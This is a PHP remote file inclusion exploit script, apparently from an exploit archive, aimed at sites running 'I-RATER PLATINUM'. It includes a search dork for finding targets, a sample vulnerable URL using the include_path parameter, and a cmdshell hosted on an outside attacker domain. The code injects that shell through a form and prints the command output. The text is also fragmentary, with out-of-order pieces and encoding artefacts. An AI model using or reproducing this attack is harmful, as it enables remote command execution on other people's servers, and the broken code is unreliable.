|
Unable to get output.\n";=0D
exit;=0D
}=0D
=0D
echo $form;=0D
=0D
while (!feof ($file)) {=0D
$line .= fgets ($file, 1024)."
Site:http://www.Aria-security.net=0D
Dork:"Powered by I-RATER PLATINUM"=0D
=0D
example:=0D
target:http://www.site.com/admin/config_settings.tpl.php?include_path==0D
cmdshell:http://www.own3r.com/cmd.txt?=0D
=0D
*/=0D
=0D
$cmd = $_POST["cmd"];=0D
$target = $_POST["target"];=0D
$cmdshell = $_POST["cmdshell"];=0D
=0D
$form= "
";=0D
=0D
if (!isset($_POST['submit']))=0D
{=0D
=0D
echo $form;=0D
=0D
}else{=0D
=0D
$file = fopen ("test.txt", "w+");=0D
=0D
fwrite($file, "");=0D
fclose($file);=0D
=0D
$file = fopen ($target.$cmdshell, "r");=0D
if (!$file) {=0D
echo "
";=0D
}=0D
$tpos1 = strpos($line, "++BEGIN++");=0D
$tpos2 = strpos($line, "++END++");=0D
$tpos1 = $tpos1+strlen("++BEGIN++");=0D
$tpos2 = $tpos2-$tpos1;=0D
$output = substr($line, $tpos1, $tpos2);=0D
echo $output;=0D
=0D
}=0D
?>=0D